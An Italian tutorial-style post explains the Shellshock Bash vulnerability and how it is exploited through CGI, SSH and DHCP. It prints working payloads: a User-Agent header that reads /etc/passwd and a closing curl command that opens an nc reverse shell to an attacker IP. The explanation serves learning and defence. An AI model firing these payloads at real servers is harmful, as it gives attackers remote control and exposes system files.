tags: Shell_Shock bash_hacking
Cos’è Shellshock?
Shellshock (CVE-2014-6271, CVE-2014-7169) è una vulnerabilità critica scoperta nel 2014 nel Bourne-Again Shell (Bash), la shell predefinita su molti sistemi Unix/Linux.
Permette a un attaccante di eseguire codice arbitrario su un sistema remoto sfruttando la manipolazione delle variabili d’ambiente.
Come funziona?
La vulnerabilità nasce dal modo in cui Bash processa le variabili d’ambiente.
Un attaccante può definire una variabile d’ambiente con una sintassi malevola, innescando l’esecuzione di comandi non autorizzati.
Esempio di exploit:
# Definizione di una variabile d'ambiente "vulnerabile"
env 'x=() { :;}; echo vulnerable' bash -c "echo test"Se il sistema restituisce “vulnerabile”, significa che è esposto a Shellshock.
Scenari comuni di attacco
-
Server Web (CGI):
-
Molti server web (es. Apache) usano script CGI che chiamano Bash.
-
Un attaccante può inviare una richiesta HTTP con un header malevolo:
-
GET /cgi-bin/test HTTP/1.1
User-Agent: () { :;}; /bin/bash -c "cat /etc/passwd"Questo comando potrebbe esporre il file /etc/passwd.
-
SSH con restrizioni:
- Se un utente ha accesso SSH limitato a un comando specifico (es.
rsync), l’attaccante può sfruttare Shellshock per bypassare le restrizioni.
- Se un utente ha accesso SSH limitato a un comando specifico (es.
-
DHCP Client:
- Alcuni client DHCP usano Bash per configurare la rete, rendendoli vulnerabili a payload inviati via rete locale.
Esempio pratico di attacco
Supponiamo che un server Apache esegua uno script CGI (/cgi-bin/status) che chiama Bash.
Un attaccante invia:
curl -H "User-Agent: () { :;}; /bin/bash -c 'nc -e /bin/bash 192.168.1.100 4444'" http://victim.com/cgi-bin/statusSe vulnerabile, il server aprirà una reverse shell verso l’IP 192.168.1.100:4444, dando all’attaccante il controllo.